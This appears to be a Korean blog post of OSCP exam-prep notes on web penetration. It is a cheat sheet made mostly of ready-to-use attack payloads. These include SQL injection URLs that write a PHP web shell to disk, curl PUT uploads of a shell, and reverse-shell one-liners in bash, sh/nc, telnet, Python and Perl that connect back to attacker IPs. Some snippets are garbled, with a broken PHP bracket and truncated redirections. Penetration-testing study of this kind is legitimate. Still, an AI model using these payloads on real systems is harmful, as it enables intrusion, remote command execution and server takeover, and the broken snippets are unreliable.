OSCP/시험대비

웹 침투 (SQL Injection, PUT, ReverseShell)

우와해커 2020. 7. 8. 21:18

Manual SQL Injection Cheat sheet

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

https://sushant747.gitbooks.io/total-oscp-guide/sql-injections.html

https://guide.offsecnewbie.com/5-sql

Load File
http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"<?php echo
shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'

Write File
http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"<?php echo
shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'

http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"<?php echo
shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE '/var/www/html/cmd.php'

 

CURL을 이용한 매소드 취약점 공략
curl -v -X OPTIONS http://192.168.97.130/test
curl -v -X put -d '<?php system($_GET["cmd");?>' http://192.168.0.105/test/shell.php

기능있는 쉘을 업로드할 생각이라면
=> 버프를 통해 소스코드를 붙이는게 편하다.

접근된 폴더에 www사용자가 쓰기 권한이 없어서 nc다운로드를 못할 경우
>시스템에 설치되어 있는 언어를 이용해서 리버스 쉘을 연결할 수 있다.

 

 

리버스 쉘 코드

 

파이썬

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);

>그 밖에 펄 등 다른 언어를 이용해서도 다운로드 가능

# bash
bash -i >& /dev/tcp/192.168.100.113/4444 0>&1

#sh
rm -f /tmp/p; mknod /tmp/p p && nc <attacker-ip> 4444 0/tmp/p

#telnet
rm -f /tmp/p; mknod /tmp/p p && telnet <attacker-ip> 80 0/tmp/p

# python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# perl 
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

'OSCP > 시험대비' 카테고리의 다른 글

파워 쉘 for 침투테스트-2  (0) 2020.07.15
OSCP 최종 준비  (0) 2020.07.09
[TIP] OSCP 시험 정리  (0) 2020.07.06
[OSCP EXAM GUIDE] SECTION 3: SUBMISSION INSTRUCTIONS  (0) 2020.07.06
[OSCP EXAM GUIDE] SECTION 2: EXAM INFORMATION  (0) 2020.07.01